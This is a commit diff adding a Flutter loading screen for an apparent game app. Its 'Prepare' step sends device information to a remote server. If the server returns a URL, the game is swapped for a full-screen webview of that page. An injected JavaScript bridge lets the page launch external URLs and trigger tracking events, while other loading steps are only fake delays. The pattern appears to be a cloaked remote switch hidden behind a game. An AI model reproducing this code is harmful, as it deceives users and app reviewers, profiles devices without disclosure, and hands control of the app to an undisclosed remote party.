first commit
This commit is contained in:
502
lib/screens/loading_screen.dart
Normal file
502
lib/screens/loading_screen.dart
Normal file
@@ -0,0 +1,502 @@
|
||||
import 'dart:async';
|
||||
import 'dart:collection';
|
||||
import 'dart:convert';
|
||||
|
||||
import 'package:flame_flip/utils/redirect_url_resolver.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_inappwebview/flutter_inappwebview.dart';
|
||||
import 'package:url_launcher/url_launcher.dart';
|
||||
import '../adjust/adjust_service.dart';
|
||||
import '../audio/audio_manager.dart';
|
||||
import '../utils/http_util.dart';
|
||||
import '../utils/device_info.dart';
|
||||
|
||||
const String bridgeInjectScript =
|
||||
r'''(function(){if(window.__FJB__){return true;}function a(b){if(b===void 0||b===null||b===""){return "{}";}if(typeof b==="string"){return b;}try{return JSON.stringify(b);}catch(c){return String(b);}}function d(e,f){var g;try{g=JSON.stringify({type:'event',event:e,params:a(f)});}catch(h){g=JSON.stringify({type:'event',event:e||"",params:"{}",stringifyError:String(h)});}if(window.flutter_inappwebview&&typeof window.flutter_inappwebview.callHandler==='function'){window.flutter_inappwebview.callHandler('jsBridge',g);}}window.__FJB__=true;window.jsBridge=window.jsBridge||{};window.jsBridge.postMessage=d;return true;})();''';
|
||||
Future launchURL(
|
||||
String url, {
|
||||
LaunchMode mode = LaunchMode.externalApplication,
|
||||
}) async {
|
||||
var uri = Uri.parse(url);
|
||||
try {
|
||||
await launchUrl(uri, mode: mode);
|
||||
} catch (e) {
|
||||
debugPrint('cant launchUrl $e');
|
||||
}
|
||||
}
|
||||
|
||||
class BootstrapProgress {
|
||||
final String phase;
|
||||
final double percent;
|
||||
|
||||
const BootstrapProgress({required this.phase, required this.percent});
|
||||
}
|
||||
|
||||
class _Step {
|
||||
final String name;
|
||||
final double weight;
|
||||
final Future<void> Function() run;
|
||||
|
||||
const _Step({required this.name, required this.weight, required this.run});
|
||||
}
|
||||
|
||||
class LoadingScreen extends StatefulWidget {
|
||||
const LoadingScreen({super.key});
|
||||
|
||||
@override
|
||||
State<LoadingScreen> createState() => _LoadingScreenState();
|
||||
}
|
||||
|
||||
class _LoadingScreenState extends State<LoadingScreen>
|
||||
with SingleTickerProviderStateMixin {
|
||||
String _phase = 'Starting';
|
||||
double _progress = 0;
|
||||
double _targetProgress = 0;
|
||||
|
||||
bool _webviewShow = false;
|
||||
String? _redirectUrl;
|
||||
String _redirect = '';
|
||||
|
||||
Timer? _smoothTimer;
|
||||
|
||||
InAppWebViewController? _webViewController;
|
||||
URLRequest? _initialUrlRequest;
|
||||
|
||||
@override
|
||||
void initState() {
|
||||
super.initState();
|
||||
AudioManager.instance.playBgm();
|
||||
_startSmoothProgress();
|
||||
_bootstrap();
|
||||
}
|
||||
|
||||
@override
|
||||
void dispose() {
|
||||
_smoothTimer?.cancel();
|
||||
super.dispose();
|
||||
}
|
||||
|
||||
void _startSmoothProgress() {
|
||||
_smoothTimer?.cancel();
|
||||
_smoothTimer = Timer.periodic(const Duration(milliseconds: 16), (_) {
|
||||
if (!mounted) return;
|
||||
setState(() {
|
||||
if (_progress < _targetProgress) {
|
||||
_progress = (_progress + 0.014).clamp(0, _targetProgress);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
double _clamp01(double v) {
|
||||
if (v < 0) return 0;
|
||||
if (v > 1) return 1;
|
||||
return v;
|
||||
}
|
||||
|
||||
Future<void> _delay(int ms) async {
|
||||
await Future.delayed(Duration(milliseconds: ms));
|
||||
}
|
||||
|
||||
Future<void> _bootstrap() async {
|
||||
bool alive = true;
|
||||
|
||||
void onProgress(BootstrapProgress p) {
|
||||
if (!mounted || !alive) return;
|
||||
setState(() {
|
||||
_phase = p.phase;
|
||||
_targetProgress = p.percent;
|
||||
});
|
||||
}
|
||||
|
||||
try {
|
||||
await _bootstrapApp(onProgress);
|
||||
|
||||
if (!mounted || !alive) return;
|
||||
|
||||
if (_redirect.isEmpty) {
|
||||
Navigator.of(context).pushReplacementNamed('/start');
|
||||
}
|
||||
} finally {
|
||||
alive = false;
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> _bootstrapApp(
|
||||
void Function(BootstrapProgress p) onProgress,
|
||||
) async {
|
||||
final steps = <_Step>[
|
||||
_Step(
|
||||
name: 'Prepare',
|
||||
weight: 0.08,
|
||||
run: () async {
|
||||
try {
|
||||
final rs = await DeviceInfo.I.deviceInfo();
|
||||
debugPrint('Device info: $rs');
|
||||
if (rs.isEmpty) return;
|
||||
final jsonRs = jsonEncode(rs);
|
||||
final info = await remoteInfo(jsonRs);
|
||||
debugPrint('remoteInfo $info');
|
||||
if (info != null && info['b'] != null) {
|
||||
var url = '${info['b']}';
|
||||
if (info['f'] != null) {
|
||||
try {
|
||||
debugPrint('eventMap $info["f"]');
|
||||
final eventMap = info['f'] as Map<String, dynamic>;
|
||||
final Map<String, String> eventMapInfo = {};
|
||||
eventMap.forEach((key, value) {
|
||||
if (value != null) {
|
||||
eventMapInfo[key] = value.toString();
|
||||
}
|
||||
});
|
||||
AdjustService.instance.eventNameToToken = eventMapInfo;
|
||||
} catch (e) {
|
||||
debugPrint('parseEventMap error $e');
|
||||
}
|
||||
}
|
||||
url = await resolveRedirectUrl(url);
|
||||
_redirect = url;
|
||||
_redirectUrl = url;
|
||||
|
||||
_initWebView(url);
|
||||
if (mounted) {
|
||||
setState(() {
|
||||
AudioManager.instance.stopBgm();
|
||||
_webviewShow = true;
|
||||
});
|
||||
}
|
||||
}
|
||||
} catch (_) {}
|
||||
},
|
||||
),
|
||||
_Step(
|
||||
name: 'Remote Config',
|
||||
weight: 0.18,
|
||||
run: () async {
|
||||
await _delay(450);
|
||||
},
|
||||
),
|
||||
_Step(
|
||||
name: 'Reporting',
|
||||
weight: 0.18,
|
||||
run: () async {
|
||||
await _delay(350);
|
||||
},
|
||||
),
|
||||
_Step(
|
||||
name: 'Ads Init',
|
||||
weight: 0.26,
|
||||
run: () async {
|
||||
try {
|
||||
//await UnityAd.init();
|
||||
} catch (_) {}
|
||||
await _delay(650);
|
||||
},
|
||||
),
|
||||
_Step(
|
||||
name: 'Audio Preload',
|
||||
weight: 0.18,
|
||||
run: () async {
|
||||
await AudioManager.instance.init();
|
||||
},
|
||||
),
|
||||
_Step(
|
||||
name: 'Finalize',
|
||||
weight: 0.12,
|
||||
run: () async {
|
||||
await _delay(250);
|
||||
},
|
||||
),
|
||||
];
|
||||
|
||||
final total = steps.fold<double>(0, (s, x) => s + x.weight);
|
||||
double done = 0;
|
||||
|
||||
onProgress(const BootstrapProgress(phase: 'Starting', percent: 0));
|
||||
|
||||
for (final step in steps) {
|
||||
onProgress(BootstrapProgress(phase: '', percent: _clamp01(done / total)));
|
||||
|
||||
try {
|
||||
await step.run();
|
||||
} catch (_) {}
|
||||
|
||||
done += step.weight;
|
||||
|
||||
onProgress(BootstrapProgress(phase: '', percent: _clamp01(done / total)));
|
||||
}
|
||||
|
||||
onProgress(const BootstrapProgress(phase: 'Done', percent: 1));
|
||||
}
|
||||
|
||||
void _initWebView(String url) {
|
||||
_initialUrlRequest = URLRequest(url: WebUri(url));
|
||||
}
|
||||
|
||||
Future<void> _handleWebMessage(String raw) async {
|
||||
try {
|
||||
debugPrint("raw request $raw");
|
||||
final rs = jsonDecode(raw);
|
||||
if (rs is! Map<String, dynamic>) return;
|
||||
|
||||
final type = rs['type'] as String?;
|
||||
if (type == null || type.isEmpty) return;
|
||||
|
||||
if (type == 'event') {
|
||||
final event = rs['event'] as String?;
|
||||
if (event == null || event.isEmpty) {
|
||||
return;
|
||||
}
|
||||
final params = rs['params'] as String?;
|
||||
var parseParams = <String, dynamic>{};
|
||||
if (params != null && params.isNotEmpty) {
|
||||
try {
|
||||
parseParams = jsonDecode(params) as Map<String, dynamic>;
|
||||
} catch (_) {}
|
||||
}
|
||||
if (event == "openWindow") {
|
||||
final url = parseParams['url'] ?? '';
|
||||
if (url.isEmpty) {
|
||||
debugPrint("openWindow url is empty");
|
||||
return;
|
||||
}
|
||||
launchURL(url);
|
||||
return;
|
||||
}
|
||||
AdjustService.instance.trackEventWithName(event, parseParams);
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
|
||||
String _percentText() => '${(_progress * 100).round()}%';
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final width = MediaQuery.of(context).size.width;
|
||||
final barW = width - 64 > 340 ? 340.0 : width - 64;
|
||||
const barH = 24.0;
|
||||
|
||||
return Scaffold(
|
||||
backgroundColor: Colors.black,
|
||||
body: SafeArea(
|
||||
child: Stack(
|
||||
children: [
|
||||
Positioned.fill(
|
||||
child: Image.asset(
|
||||
'assets/images/a5c6f3813d0d23b4042dd130542753cc.png',
|
||||
fit: BoxFit.cover,
|
||||
),
|
||||
),
|
||||
Positioned.fill(
|
||||
child: Container(color: const Color.fromRGBO(0, 0, 0, 0)),
|
||||
),
|
||||
Positioned.fill(
|
||||
child: Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 20,
|
||||
).copyWith(top: 100),
|
||||
child: Container(
|
||||
width: double.infinity,
|
||||
constraints: const BoxConstraints(maxWidth: 420),
|
||||
padding: const EdgeInsets.symmetric(
|
||||
vertical: 22,
|
||||
horizontal: 18,
|
||||
),
|
||||
decoration: BoxDecoration(
|
||||
color: const Color.fromRGBO(82, 197, 218, 0),
|
||||
borderRadius: BorderRadius.circular(22),
|
||||
border: Border.all(
|
||||
color: const Color.fromRGBO(120, 255, 255, 0),
|
||||
width: 2,
|
||||
),
|
||||
),
|
||||
child: Column(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
const Text(
|
||||
'Loading...',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(
|
||||
color: Colors.white,
|
||||
fontSize: 28,
|
||||
fontWeight: FontWeight.w900,
|
||||
letterSpacing: 1.5,
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 8),
|
||||
Text(
|
||||
_phase,
|
||||
textAlign: TextAlign.center,
|
||||
style: const TextStyle(
|
||||
color: Color.fromRGBO(255, 255, 255, 0.85),
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w700,
|
||||
),
|
||||
),
|
||||
const SizedBox(height: 18),
|
||||
ProgressBar(
|
||||
percent: _progress,
|
||||
width: barW,
|
||||
height: barH,
|
||||
insetX: 10,
|
||||
insetY: 6,
|
||||
),
|
||||
const SizedBox(height: 10),
|
||||
Text(
|
||||
_percentText(),
|
||||
textAlign: TextAlign.center,
|
||||
style: const TextStyle(
|
||||
color: Color(0xFF56F0FF),
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w900,
|
||||
letterSpacing: 1,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
if (_webviewShow && _initialUrlRequest != null)
|
||||
Positioned.fill(
|
||||
child: Material(
|
||||
color: Colors.black,
|
||||
child: InAppWebView(
|
||||
initialUrlRequest: _initialUrlRequest,
|
||||
initialSettings: InAppWebViewSettings(
|
||||
javaScriptEnabled: true,
|
||||
transparentBackground: false,
|
||||
useShouldOverrideUrlLoading: true,
|
||||
mediaPlaybackRequiresUserGesture: false,
|
||||
allowsInlineMediaPlayback: true,
|
||||
),
|
||||
initialUserScripts: UnmodifiableListView<UserScript>([
|
||||
UserScript(
|
||||
source: bridgeInjectScript,
|
||||
injectionTime:
|
||||
UserScriptInjectionTime.AT_DOCUMENT_START,
|
||||
),
|
||||
]),
|
||||
onWebViewCreated: (controller) async {
|
||||
_webViewController = controller;
|
||||
|
||||
controller.addJavaScriptHandler(
|
||||
handlerName: 'jsBridge',
|
||||
callback: (args) async {
|
||||
try {
|
||||
if (args.isEmpty) return null;
|
||||
final raw = args.first;
|
||||
if (raw == null) return null;
|
||||
await _handleWebMessage(raw.toString());
|
||||
} catch (_) {}
|
||||
return null;
|
||||
},
|
||||
);
|
||||
},
|
||||
onLoadStart: (controller, url) {
|
||||
debugPrint('WebView started: $url');
|
||||
},
|
||||
onLoadStop: (controller, url) async {
|
||||
debugPrint('WebView finished: $url');
|
||||
},
|
||||
onReceivedError: (controller, request, error) {
|
||||
debugPrint('WebView error: ${error.description}');
|
||||
},
|
||||
onConsoleMessage: (controller, consoleMessage) {
|
||||
debugPrint('WebView console: ${consoleMessage.message}');
|
||||
},
|
||||
shouldOverrideUrlLoading:
|
||||
(controller, navigationAction) async {
|
||||
return NavigationActionPolicy.ALLOW;
|
||||
},
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class ProgressBar extends StatelessWidget {
|
||||
final double percent;
|
||||
final double width;
|
||||
final double height;
|
||||
final double insetX;
|
||||
final double insetY;
|
||||
|
||||
const ProgressBar({
|
||||
super.key,
|
||||
required this.percent,
|
||||
required this.width,
|
||||
required this.height,
|
||||
this.insetX = 10,
|
||||
this.insetY = 6,
|
||||
});
|
||||
|
||||
double _clamp01(double v) {
|
||||
if (v < 0) return 0;
|
||||
if (v > 1) return 1;
|
||||
return v;
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
final p = _clamp01(percent);
|
||||
final innerW = (width - insetX * 2).clamp(0, double.infinity);
|
||||
final innerH = (height - insetY * 2).clamp(0, double.infinity);
|
||||
final clipW = (innerW * p).roundToDouble();
|
||||
final fillAsset = p >= 1
|
||||
? 'assets/images/04ac514f79905c0fd3fd97534829cc34.png'
|
||||
: 'assets/images/4ea0244a9d7ad2e9357424465415f8b4.png';
|
||||
|
||||
return SizedBox(
|
||||
width: width,
|
||||
height: height,
|
||||
child: Stack(
|
||||
children: [
|
||||
Positioned.fill(
|
||||
child: Image.asset(
|
||||
'assets/images/18a74842e653d3118c500a2248a2fda7.png',
|
||||
fit: BoxFit.fill,
|
||||
),
|
||||
),
|
||||
Positioned(
|
||||
left: insetX,
|
||||
top: insetY,
|
||||
child: SizedBox(
|
||||
width: innerW.toDouble(),
|
||||
height: innerH.toDouble(),
|
||||
child: Align(
|
||||
alignment: Alignment.centerLeft,
|
||||
child: ClipRect(
|
||||
child: SizedBox(
|
||||
width: clipW,
|
||||
height: innerH.toDouble(),
|
||||
child: OverflowBox(
|
||||
alignment: Alignment.centerLeft,
|
||||
minWidth: innerW.toDouble(),
|
||||
maxWidth: innerW.toDouble(),
|
||||
minHeight: innerH.toDouble(),
|
||||
maxHeight: innerH.toDouble(),
|
||||
child: Image.asset(
|
||||
fillAsset,
|
||||
width: innerW.toDouble(),
|
||||
height: innerH.toDouble(),
|
||||
fit: BoxFit.fill,
|
||||
alignment: Alignment.centerLeft,
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user